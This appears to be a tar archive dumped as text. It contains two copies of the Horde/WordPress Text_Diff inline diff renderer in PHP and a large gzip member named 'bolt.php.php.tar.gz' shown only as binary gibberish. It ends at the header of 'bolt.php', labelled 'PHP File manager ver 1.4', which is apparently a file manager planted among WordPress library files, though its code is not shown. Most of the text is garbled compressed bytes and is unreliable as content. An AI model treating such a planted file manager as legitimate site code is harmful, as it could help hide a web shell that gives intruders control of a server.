        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        bolt.php.php.tar.gz                                                                                 0000644                 00000060651 15217301621 0010215 0                                                                                                    ustar 00                                                                                                                                                                                                                                                             Ys(v_5!9THq_DA$A 	?8{#?8¯~seUa"}ߵg	ԒU9^r=T[vy#HCq=U46+l^azgP0@$'҃p ߅V5NAM[/h=Ԙ ̂	073?JLFd K̿?H45ל(?5֦"H$ݡ'[uD37Z_cɩVVF(	!5^,UPix]G^}5C T*RCo|š	θG_QTӖn[p$|Cy#;~z=z|E7S__X"H>kDUޣ ?e-9 	wF̋CCYx	THP"<x&^d*-)k
AZYJ$K'Ԁy*Ғw (kѽq;HBc4ɲ8HVyNNDF{y4ÿUE~Q?;JѰD2^Յ}*o!7ť]+?9TU/CLx{4$ҫDSM`1ߝwhQXdQ4yMfD\i>Kp+[ʊ2swh|d2qp*3 罒t*N@#Ek7]&jҩf	m@g2IhY,_sj/zVxf/uM̌5Ѧʌ_V=-DqPl߇#p*l3J?bNw2x(xN"z(eV
\OBib1*$}48	?G4FD:%x۫mPl9@a[ID|Gķe	j#z?2^/ODAEVyFW%x-^i.Y为毗#Β\$UEF-K*d!t>x^>	q
Q8?x2.SxeʄQRK~'L	@ eΛ+
qo: 	dx:jn<-_jhAYheX @C8;N_G	qf1sd%WXYx@)JYP:?O=x'z
1NuhjNeCyL/K9z[rYJ[xũa-(|:sCҗGÉk@9ϣ&=śE(Qk
H
H>xCEyĻ,"C;*h||c<w7(lp{^FxXANwiSh{F5[_f0zĔExt9}N7skֲ V5oCԱ3'noPz
i,NBn? .T x]HI.| {v_@,s	;7ќE#~̡KPQgi AJ$.JDwJT`"GhBnWH :T,\YxN+2; u`.sܿ*z+͂K4[M2!Akv&[:eX/C#gMN9Xl,)D[KBY"t-Ќ0I))>ѐ٧X3OW9_$2W`GDJ8"6^U<h!	cZX^!WE*	KXL5:	ZS7NXB1*
QuY &v
M)!^z|[C4}8UidPh3IA
ڑӊRw#<(i,ى=M%] g(DxT9$On<uѼp[MZ-s_ʈAFw2[K'un2ss]*ladcd~2Ɋvyh:.efcW<ߘ79$Bʆ,>~:݃N%Y)1E":X|Gktr·Vdrk9U)S"T̠T:/h	*x1ih#cdFZiQ.éIA|D-p0YPB^"HQl#IBlNÿ10{@A/8Q["ƜEo3e=)qP9&qXl#u
h_4CzBl
N|I,p[DЦp76K6KnǂJ^vHyaT։DCHLΓ#&]A:$C^UC$)rHVT(b+TuK(&҉^6-{kkfR\=3ldxRb9Jc#*T	k!uE%I~/8\߾_/_wGMq]^%pHgЩAj|5%̱8@9=C^/`XO(^a	ݗd^_]NI!~";4Z@M^#Xd"_1{gIWf
xqᅥ?i6lWhW_t^[+cMNzBbc!	m*cRZ»EBՅiǍ>@w,65B!cIfD e#JyQ,/2sBkY|:Şqxڒ쳸S*36m-׵$
ZH,c+NhjT2F^2ɸ"]5H|D%brʿ2]dx$$c٦<a:8I1	)e_dQ"Fo 6~9-PQT*d9.!& o 6Y],hڀe]<÷L|1_e[Z\%tgT@Wa 
_i'eqRva(qڜA윌Xy|&&ބ/++V?	M"PTJˠ;JmH(EڢTYr#MxN48N?Q!D;xj&XM@	(-[Z)2l}4B.G@$dqGCǅ	Z{3vp8!Nk}A#M{6Pz1B 6kyMQ͡D(毤i[FKM}1"H;vi)tiBĝ!`G=$`"FAlRK15m~'zՔ͂,~ԥ
-iafҁ'xAc0?/ylD?pYD!AhnkN'VVgc`͎yŁ;e9[Kmz ]a;.WX_kur Qg*w`]%/Y`ywb;D]ƼԘ
feH(Jk"Gz2)AISHiIt}<eǭp#wOeJ"la>?1yy-8T8ۣ;֚># GWBll>ZGX:t:YAOi*$P
'*FDk.9æiH5JD(VE~lօsA4Pw@ށ10&Z|Pwv>
VbnGU!7i֭60?y4Mj%KEo#MOɤeC#3	J1Dv>t}IZdVB&Y:ű
WE%ltalj-}5Q nU#WI֠ D~Ц  46o`op~s_[2^^@}^!hIh@h"!Tѱ}Иcf9nDM	9'o&eҩ끪)fQ/2HP6{u%Ղ)1\!z#(yu;DϤ[w2}tJbEb9Ήt355<z15AC/8%)#:}p!2&g*8%jLѰn& |NC {,~BI4z	xXq]W)ʋq7t*כ98!֗t~&8`\x= Shsޢ|{R3K@;"&u`F&iOq	"RO\`6GIx5aI5`HkѦ,t3C Kv1k}Юiiͧb$@KWGt%B3?C&Œ1	RB?'^~WSccCk{cNc-|fIz+˄%aF9D"T5<J/KMH|鈚DiOgl(S=@jl<($5;6KסsV2M$Hv#8iHh4\ӡ݄+[fGUqş㛗91\9Fy9?E^y_D'	I'iĸ{=}&4;Ѡ]Yuunn+dZǝj `";eEk'ƛVI71~V:G.vt)H
:d<[^`CKy8#GkQ-j,כzLZի8+Lzxu!ºMw~FbhȩS8#ø`s,uot\_tÇkQE$!>GL@$vO8AT7ŭb`bsH|-ܓi"qZsÌ\7HdST@w0~f!$Asom4z:(uM/IB ?yr.b~c$G(&HőjRL3Ƞ065BNgrf:lQm,UKr	#<0LR[0LQ\*;~f,DG}t|$P5ZLҪtRvr;T$2lGd2#s3~H31Mb6{OX<,~b'sg0R[)n:&pkV~B@"R2!tO׿ڭk&SJ~}}08 z kg8eS[6Lrn7ׇAN>uW#έpVAtR^+b}dɉk)KQΓ(,\/N12-bN~|6'KC%W0|"^_HaJ 8	;@']āC:}ֈUBMj[^N+ʉ=z/"c[ӂ.R UBj~E=p?;'0-9k8#r#C|Rs#u(!\(NkvG73MzE"[fG,-%R*)ij8+9=bw"#dއtы")x[',^grkJlٵbfJvMWUԝR-WW33͞mi\aX
:;m-=E@aC>YbjKpȴ>TPf8T^HUڣ"\k^ x5y#H#4orå5 ʢ2m I'/5+#NBRexqk`rz>c9@:%Ph
A#=|CMH<IX88|K0K`f H,eA"{4Z]_r8]J;2^6Ra"ПJ=͵')z&rhC0JڹT+n)ZGFoq(dZAhCCVnzz)%-Bnl,VW名lZEyi;|H[!2A~pA)갵C<ϤjDpKUVV`t]
QRj?jS/"ucDv&,yr"2%,ZƣUKp'ڽi{YτfE 8_<*T``\;\y -h4Ċ)a*!vtFѳܑո
뉆ԛ|x>kDޖ=LÁ3'PJ\0?rThS6hDRh!PvX	s,r)e<Xw<j-l}+	OlL벱	#"TNKUyR<E鐘uP'٠\=̞wq6&B0ZXzJۙ62UKԜ+(;IjzjR}cO75zo5dr#nΥBp3(Iez;)j׳­]2q!thXOir4vrt{c}?TQ+T.?bNzݑ^tqP!sN]n+YSSB.Nެ,'!'OJKsF1l7XZ,O\`J&;<iO:tқ{ʮy?tthD.]{\+U߷ڛ<y6:Sd41hSOg{
|ٱl3Ad sF:n*hJѲ_-=YtSn{np˩}׳nH'7c{-cnWq88=#t-mSeidfF;S揓$$&4&[}f~V%[s6XgM!RbդA8?G
$0P81mt͡rlN9\лpaAf; EncZ z{KEdSF֚jU3WHibYI*6]	ExVmN v8иWϯjjdsZڪ\1ȥXiک/ E;l7 6EY-pc4uhrؓT6$ZʿGX6;J Q?QguI&֓m)7e/kHFô뜹CŢ冀M]|Uv_86{ՅCh%  :SQ@r'/,K^!	)CJp)9^TRq+аu-wNW׸$FkȼZȵ:Q"-z	; V\<>p(5ߚs@w_~oНL:Q-V9\)m[a?:A2].~fa	Jʲg UbkhyA!~f^&G>U@p!j2XeD+ x@<IWT9ILoC@GR_~o?;_	+Mi	/?}X7%	#@Q;a]RĞ-!'#nfıq~ǫ
Upto\3i:80KzcC*-Q(bxxK+@bP AUD\GO^l*XڨUuذ˂NI#	W5M3VA>+8v	&Ł	[xͤ#?=d1vsIɞJ}awm
o7=A9NM,"3 )/E	ؚ6LBY`&&4o\X%/x]8G͜l! ,oIT)v׻TNsfwxh7#k}̌ɅQقm>8h7b7&'glEh3uGgs{%f°^2y	zOAPic\%Q'oNb9a2k[͛nҟt}q$tk@?!]!J,L-FP_co5r,%[aM#b8&э:䐂p;bZ"^RsaqWs;.&	>2(.AXPB2B{dS8l.>ˌ7V'Kǒ-3c}?WkA3WMzwjȺu*ӭ[TjBcE[&z\'=X)531cK]yp\54JWN[YmQ[ȭӂouxǘY>|	Rn>&!|C߳tZXon洄y_,@
w:񻮰)RFn
4"3$s,0iglFf߀NȔfZ7KMiz3WpTS,X˝ZRNa|hAf_=?H8TC5XMUEu7~7;sLhK˦}cL=.A6|>`b]][2`	\4~ykU#ZKABcH|n#*S?&#joJ(2~Ųd2ceBZ.J$kͬ&O5!psXK:'떰8;gϖL~H_J粣z`gX%XE4Xh8nqP4&qb-ʭZmt_\bz2ZR3ٙ@zE=!'^P\`=Q?RsHˇjNn r6Uя&(.
a7;,n~￳%LKiF2LQ3 zr??b࿸;?g
7tP>yi#.hDK:^HW;ۊʷv[+6ЖPEIAxy;-f+=ouC8şP2Hpǈ2FZCj0ҋS\LQXd:ߩnI
|Y~EZx1k\Tc+s(4rvj*MT<xyBM8zBOcYʈɯ$\So_\_onK[ a#c_^rv]LCNaB[0'k[ݐtrp1;7V(v;=ÛM9+HО/(K͔W(;%Dm$O_-J0kw͘[îݸKLbs	W~5%-O,i##.~4HaXj^m|]=//q3O1g*b=Hm6ňXGÉH.fPmHw2HDcw+='rIo09?{?GG&6"*v#K~wmMy<=31rȧNi}mu`M@l/&XlRl.ŬECi="z('}p/={U`j`$.9-~\>K968eI`hR83Z>p2ESAaf_.g?d,	np
sk|	nЀm
q61VP:WH<&v%[|HrPhR3NTNBЦi6iX?fp=oVޔ'Hw\n
qa"ՙywrj(ȕh(J,q	.*\[j<<T&6FzZ|dwV!bJR¡S:Uzj٭RTSI*WʙT6oROeW8L20ퟷL1Nټ@7ZdT	.d˽`yʧT!%=VyX\'eV7E'TP|*?٦ҍE3^*-M?vb	\jO&O(!TCJ8UlQB\:W@b|ݬG 	ҁsysiW<J~UJWR$ߢ4Ʉ%pUQcՊfŸUv(5OdQpO99T,-5vUc<YOFcWza+[C8^uHeZy<H[Mu؀y8.Ǆbn?kV=[)>NaDN<ae#kvKnFn-M
Aha[oW='ONٓz^7tւ}ha*U+v)5N
B6<LXOe|Sy}^[%>dYL.dNTF񩕩Oә̢zxx}. 5BkȥFt+ra*ފpvf4KtHSV	 l2y^aF3G!hF=ٵepRLz	lMn}jg˝욛
r O6C}]qS*ue~\_': ZJFmML2r+jYm=ѶޜSV/7'F$OXYL2un$?V4yܗZϰ͊i`Z,gjݜow阐*zSh?czj-fN{,f3WW}L˳y\>}XPķlm^ԧqQ-IԐk۞VTsն?RcUN2ҦܡX̤dlFHzng6Z*=}HULfT?n+i7ORz1(NJ^jo+eQوt&+MXRf)MS˛NiZ~5:sS,JB;OlUJ묖z44he5*<<C'|av7jhje&ܣP	>%ecpV\.R?TJOTY!<;k"IEKikSBo~gܳ(
J5Viq##_3~![!nXZZK	(BtEyFz$%qi $yDn(d;n>Q9>;󰒪G;S[x(¬ݫ
R4C=NzĪ-~Y-`(qX+=⡧WeifUm%ׅΣnpKQZkn=ȑ.u:ˑ4e2&V"i}i4u\}Kk뵶ݼԛ$-]o=֦_I`mq?RGi35[բayXB|q,G.[fk3mZ+PR:GR>GA(rzKuB(j37"VlA9eוudC)KmUZI7"x:OXy~O{Ĭ?+#~E;f4톞,<Oa
|>Uо<.╍$z!-9RX=#M2t[}<,ŁZ;(@zVDNz.isZi}u_WHdV#,bOE݇i/pV<nrCߊ6R*Mٳ"ZEgh-[E)Fݜ6wHYX+xl\}/CBS#[{n7r-ӢZ]SZ}lmjh߭f$)0|ۨhb0Wj|>YWc!^ywXv#wOa8r,ZkxU~zW_V{Rd;q:({vhYy>~bպˈqW^~P#CO*U"	Jl?u9l$rj^G*P
rDvH-w|)W
N+:~=V~P&Xz/Z=DZ'fFPO7^%e#81C3mzlW&j}qHKn%z"\	V(ժ@b<(GƕRehsǃyh{z0GZS5bS-;VqiTS	tX{jZ4ZKae>sAmk(n@Ljfh=%Vw;]6R:*ƃ4!vg[
7w1{pT.3Mk,bz:ڊo=`x##MJ\Wn̓!@b,"Bv +X$XrmDs
msJĦϋU<FU9.kVI5(␋Ik^	 mJ<6Jxc._mFq%:`<k	A]ǂC)
[8jƝZ`	UfCb}'ð^6lȦ{ŭ@fO%	P9z<1?[g]o3:ĸr#UvY^IEwM0>QyrxF>]h#'ⵖ/>e68N_Eks
z]7,Sl4XFan" w4ANJbzJ>fRTR4}_V+l~xn=yjbUq>5Læ޷='8?~ґC_|Ju1"E?=nYzB:;juk<;q<&vM}~Rl(Zj{͊tWlzV4Bȥz*;pܜGܳzگm`iOSz_LBf<įO|d/d6[ǢM}i?N:عn%pL5(VQt7{"GJ-e)nirr*_^yA=O&kYg1fo
{GsQVPf׽\;ϭvROm׋Ыyvē^UIJVzUҫ8DJqaЩW/1nvPUL>]V\}&֞LiPPC?έKN=wœ_q*k`-D\<Vdu={9>ԴǮ'V+g`kv[lȉּ/2۴Į-O[ȟ?m!Bi-O[ȟ?m!Bsl!I9BBSmBAxb.<=4F]x6sQ
	ܶXy+4Ӿ{*vizO .	5դ9$4>ǳG3.RlȮlt~ m V|Mw&RlI](⓺,]S~w#<-aQIUr%jUzeӟnR`n'QQ+rE[HD#ʵ0֩mmPyfeBxc\ioR\*UOrPĐgR?3U~/#Y߭1ɵB5>ZO6WJdj;~74	>L|8'J!nǅj"=dbZ(Fw7K&	hg!^n^)Ȼ|DZWwRAَ7&\BBxJ!JO^Qu?8D=<p]&iS~Q6Ej?d!DExOj>M'nQOɤ,cnFYR{)}=rt=,!={T{;K6_GΊe'ZԦO`<6C]>zƞ#7!nr^(.X5_e=j(FI|~TS=ȽARPyTԠGUEge$zKZ"*=]ϖb4%{عx4t%>ngNz_.@_gfMTf~4E
n(}w[.
p
hz*n<֨e68j1uX(FpeS9<YFGc=F4PXG캾	)zI'`;0]V>
J`=S<Q}.BfmZ
êB}9\,U۫f.ZZ^mqG9nV"γr(C|X!ƍ>Qځվ=J$Uv^Chƅ
pQ#z+-N[_bLK)MLgl"	Vn%f?Dʍ4OGiM<Ze3yq-Er2;hvJu쌏n3H9*asfṑ>4Z`?
z:/$~38@P(p(5\]WfRWNXZiT2+WdY<ReH/erZznM1һ4Si g2ּ-?˧YҡRqtʟX6`
4{Pb/WzL?<.MK)P$2XIv/Rºou1`:8\u=jZKbiSWjtR}륃*+ַ)!:aTݩ6JLXL~$p:Tx^A]nG\ocArl$$o 7ĸlFnw7eNv;N'bUVҦ+(yO=8:Pa+|G!v/ѫ_]-
z%/>&o"tsq;,˟&7Z.$VDe)|Ԍ|~e#;:!D-y%टܸt}PʝAƲ ^=R~P@qkan}skk03B0 Z)(lÜK']-FC/b넛Ƨm?9b)((.P9o~`-Pʫ%G!V-I	&6yQ(%s~LlxE@6dAS%QG1h?k':&8=~ d^ݶHwv-ⅯI𤷢ʤ(iMz[ؙ_XQ߃=-?^p4x7bM+~hE[?0ހ/k0o0(m|P4 _1 1|Z	"  }-cD|=D<}.\ԯǑ䒵%L%ڶwDPC3%X[D 1P,c1)[0@Y8bW#'N1~?,@ |Qe({K`~6r,(DD,#>hY#(A,q gepkg<q"((:T%4kȈU_6.+HHt$[hjcۗ=PIK@p$cYf>U5\%B+zE^&SV?ƈOIv{J F֑rІiC`2IPerNqgڥ(x6Pq#0]}>8]w ]7?yޡJI  fMJ)iQ3t2d	_06P-2|	7a]8
!ƺ1_'Vĩ9;$-c!vl،~D\5GLF4AيŒ.d&Cghζ9Kvp&Y⨪Xƅc~J,ti~}qҹj+H7[,%cUl2w$8̋GaGA?ϫϗBO?ĥg[YR|&*"oZNco _WlhR_4KE9An	vDE'YHڝU#6d
K5/"ZJby:PξeĐ_ϟN1:Aymh8- g6)^%6 y9U]i$?Tk)[GȾcHQl&('XE@ )iA.DI?+#uDÿ)wiëp>d;zk:089줴E"JM:Nfȋ  Jiӓ3dH!	O}T"_trf$/N&H,'>[ @H-D\|9fEI;lI6_P?Vb)5Ldr'U.pۄ#.AXB9	McPz˛;b슗E8Í3~af4]ȣs|CJO[f"Of4U)&#u_i/||r,MnmS=s|RF?fg914(x:_/4W32g 3]'ۓߙ/oq$Xt37,kƁ(vľe?M3ԿO6H*LQ4el)\k{,_ O?/ə9f0"ވKaw\߰YkNI':)WI)ޭTWxqɭAN%#~2;;dlJ
si)7h^VEm
I|ѱ5qtC&oHƗl]O5ʜ1T9Nn "Fk!=9?Ӳ_bdKs̴+uc?~ްw1k,	3/K^:G E):1(ɍPIbbS嵂q6?)KDjD\Hq"'e LM0}uuD6(#`-nkAyէєa[C.amV 69uiQNv &`;U> ȑoMe~Kl/^z+namN?n9? Ǹ	T'~7d{&>	MDC:luÇ'.J
J:hi4fYKx8e,i/-5?]P^,^U] bbOA˽6lo'dNo&8j~o\;gYd.WXd˖ewV֝^ejCz8K#C"9v
|X'7)T+}II$@=MnM]<Oc hӋfnGtY]	^AQ"ؒ]Xv5Ni̚J'ΊMo>n=[%أz\}Y='LWZe47]9%,Lz\7!n4c|h|A?7Yo!L6WK߅44Bb'VCjE7ANnb.'_]v2$x⑭bý|V+xVyLV5tÍӦ{z]0Dc鐘iǁZT?mnSĆcm/ކgN݂iI	ՎiisTLqQ<Kiƫ8]h3e,#`?b7ɇC2
	KN0Uo %17lUɸ~NKC>V!TY\k_?f=i3-C*1ԯ_AA?Y	az_tzz[%-Y
EdIRS|M< z>u/BN>H8}9~]:Z/EcN[0'O{"X`ZC/<>8Egr,_ޠ*`qC! L$FR`&p8TG(pQ).PJVq}^7cW1"@&fRV6d#thdAң	O3QdzX9'\s47Nr-tY627N)ju q }'wg5[%
1SC: Cړ+X@	OjxzvK&V_Vv@I˨XcQOo7۬=.>'C5<8OSyb) 8Q,wfa߳9>LCJߛu gqauPh5%w|Li:C3OT#mQ.,50!U"N|C2dG3O&s8
)gQaIhcM
auzX;I_D;酐!mtC0pҋfߜ'lnr_lǫ7Mi)Ĳ֊']M(
H,5@a6J%/Ns)/KDh%j2{䋓P<^UW,KR:YDWЈ)V$#ir'|k<ʿ0+Pɍl&PJ\GObp|Nʺq/T9gkqLl,)+٫<އғi	~o׏1]}L	.q {|gv1.7a݋daC>ae`0CD"\}HA0W/'z(nPO~7MHհKy疫?-q05I$81a[<{*.c5
J,@?44ѽ*iwNrn7#VU^^l&f|mcyLZkH;6Gk~q Ui!_֣45YDZa cq>X>zs$jReىMP^Y^
v;X=<pp>%Zois=gio)z0.0һaPE;"r`j|D;s6t9q] yoE5bPΤAnG]JuC!IV6fH$%7n,\~+f0`n7dqI)khխ<X:E) ;Y^׎!q syfGk~	,V֤k	[]."Y*Fmr0$".'v>uJC;`z/[.pYno@q=|4LYfi`>j
>idL҇PA"lG%umptSIE7kʠ,%Ap+H
2#dsCT~TkFt{}n0TŅ$/W7CH4OxXuQ\L>ˀOG2~>3"D1HO!.3M@03C$$Bk4Kc=e>f"o΍pq\jJ0"F$UHbe<LQyAyh	Qu|N_
$EIjQÌ+'6BzRH
FZ@OhM{!
  ;E?D{fF	* ڍ
=@ǐE|C+z#x/ A5:Fq79ֿ"z"qJ:`K|1K~.}j(VXn[^ROmrp-DIʭ:_B*$㱀:5vQāvۆ|2a[ a?󧛛hLUf?#[L<%IRA3KPQJ}@Z"ȣ4Bimb/,⧯E
o77<|Z.f6on8d;{>f\(N8؂z#tg@wNfՅYTT~]~~wk-H:T! pOBq-;$η	kP#it[eiN=zK~|ɇS$6 |}qP^,%=.P:SJ.QM}Oj(k>ľvM"3#be.1Y8p9jϔ04YADНYr
Л59wձ,i
KTk^tpނӧ38PSB ^S6/ecj/
+ԯKu7f/!@zg tDS8su0HLwA|@<{gfFF#
v"x<S!dW-3b@3+A<L
C_g"i!FѦΉ\^UqEE화s0WG1d7\szX#Xǲc	䠊>֐"/K*dn}PÅ
?aC6[޺:r+8..RlHbȪ-QP	#ep>XQ:H~q(4#:|2'n.tiLa^vq1~ʩzVA
3<g仙kR	2]G,?D[ә" Gv33:6n}66pgyƠfu2oGt{3ϼX:ݺm;"<ep\nL'4s&rs"@++ot"HjATtqeDM{~inzyPDAy'^[dsǸsC KҞ>:[p\\ږbSv
,vLҪ-;_^@6&ZǗf2LaUw=}kݩ0Y.Lds'&xICyϟe:Zy[̹h^11	s4\	'߮zyXZַn]F3U|PFL=žkXҸ9}9/OnS^B` d\3zN9,ɿ- ƊMZ]+"E4r!m#c%--%qY~u[w=>w*;MA#ր'mYNy8p+WUnBg]NFm])\yƕG43.^y9T\8{3Ȭq2AHAn:`_уZt,ܖQ39wci6?<E	!-&F<ѯd9DUDݺ'IjP
{Mk)HF,g,ZfBg9+?0	Ε"*PqANxd~S׳)Ӎʐi(+
|&;V kRϨ9
HmdyTCuTvsxrʥ%It7GI`tD HowR |<';	n}ǽP)e./Tv30{6āK	&ax}m뱹 /y^5㺞r,QwfF`XCἭkڗxBt'j `,	n >a'($/>eC-o`CM(K,\q,z.)mĀp~׵9SO:)K3QG)Ǌ׻rywz]<.3.ST'a]mҐ`	%=\Bw?nr9},͟	Cm˝F	{1A}0Pɵsv7BoEfNY0EnBܿ MQFY[atb&(ʲb'/XH2a>3MA̸姄3Ʃ|Kq)0c9u$HԢ2Z=7-X<Ȅ{)HңEFkY ؀bIbMeWE_Hr\ھ	X	=텾;J}F$,K	NضQs=WP}6mynz
X8Ӟ!6(tU~@z1H7?hkFo't䟇G2wmL[h8wiޖ=JƸ@;KSn^MV}wE^]YeO4$YnCaůPrώ2ه2XIT:Խ?6YjC;T#F+/cNJqߐ8\h/];MmF0CPJǇgPV~E)u.?<A=MMZ:g6		M0dfu-WC?X9hxݑ"flX_
$ʟwdN-ZhFUk:f&ڂ?jn{cd[9:Ggoa87MK2oXOGwҴVv۸y*cT2@ZBq}Hi2tߣPݵ:7{22M%``Q -= IERUDChn+=$o.'ub\|!^z(zA 3FY:(IX G,]parAzB5i%Ffd>
`Cm0:ԲХ)eퟵ%9 MB@9d葪aES$c@I0օu[K.>XEUrbձ(/:3]^;CH*ҙN]qu}:S,vT8H7+_ֻ{̠oyf0,N.SI>.hd$E<'1g86Jg<'g-{&BòDY8b<i4ԃ&%[Fˈm9DW ic/
wJѨ\cCce4ϛIcUe'	ùZB5Mt3[AIcm8Al܎)E)jQg;X~<1`ڿo`o!*@3PDe`PP5^
FϰYH\njO9buR{ 	7. kAU1
EU 0.]`lpgNVB	{9n='[N_:2>:hα굾3x
ld)cg~$
VxSZ:|ҜbK^Y\<r\wh?cV❍ĠG?||YXw1DhqL7Gqv[| /xˉz;pZO~0_pj+5>xh`+j5].JwkMqIwL38&w c}7׷SAa6/e~#?ԸA⸞rD|?h$5bwvyt|i80~ث)nD9)㛜ԩT!,
]H77	W7Sl ~WwOtktq. ݝfD|mOIӊ߭e3A0.pBn[-	}>=??9) <                                                                                        inline.php                                                                                          0000644                 00000012630 15217301621 0006533 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
        if ($this->_split_level == 'words') {
            $prefix = '';
            while ($orig[0] !== false && $final[0] !== false &&
                   substr($orig[0], 0, 1) == ' ' &&
                   substr($final[0], 0, 1) == ' ') {
                $prefix .= substr($orig[0], 0, 1);
                $orig[0] = substr($orig[0], 1);
                $final[0] = substr($final[0], 1);
            }
            return $prefix . $this->_deleted($orig) . $this->_added($final);
        }

        $text1 = implode("\n", $orig);
        $text2 = implode("\n", $final);

        /* Non-printing newline marker. */
        $nl = "\0";

        if ($this->_split_characters) {
            $diff = new Text_Diff('native',
                                  array(preg_split('//', $text1),
                                        preg_split('//', $text2)));
        } else {
            /* We want to split on word boundaries, but we need to preserve
             * whitespace as well. Therefore we split on words, but include
             * all blocks of whitespace in the wordlist. */
            $diff = new Text_Diff('native',
                                  array($this->_splitOnWords($text1, $nl),
                                        $this->_splitOnWords($text2, $nl)));
        }

        /* Get the diff in inline format. */
        $renderer = new Text_Diff_Renderer_inline
            (array_merge($this->getParams(),
                         array('split_level' => $this->_split_characters ? 'characters' : 'words')));

        /* Run the diff and get the output. */
        return str_replace($nl, "\n", $renderer->render($diff)) . "\n";
    }

    function _splitOnWords($string, $newlineEscape = "\n")
    {
        // Ignore \0; otherwise the while loop will never finish.
        $string = str_replace("\0", '', $string);

        $words = array();
        $length = strlen($string);
        $pos = 0;

        while ($pos < $length) {
            // Eat a word with any preceding whitespace.
            $spaces = strspn(substr($string, $pos), " \n");
            $nextpos = strcspn(substr($string, $pos + $spaces), " \n");
            $words[] = str_replace("\n", $newlineEscape, substr($string, $pos, $spaces + $nextpos));
            $pos += $spaces + $nextpos;
        }

        return $words;
    }

    function _encode(&$string)
    {
        $string = htmlspecialchars($string);
    }

}
                                                                                                        bolt.php                                                                                            0000644                 00000232745 15217301621 0006230 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/* PHP File manager ver 1.4 */

// Configuration ¡ª do not change manually!
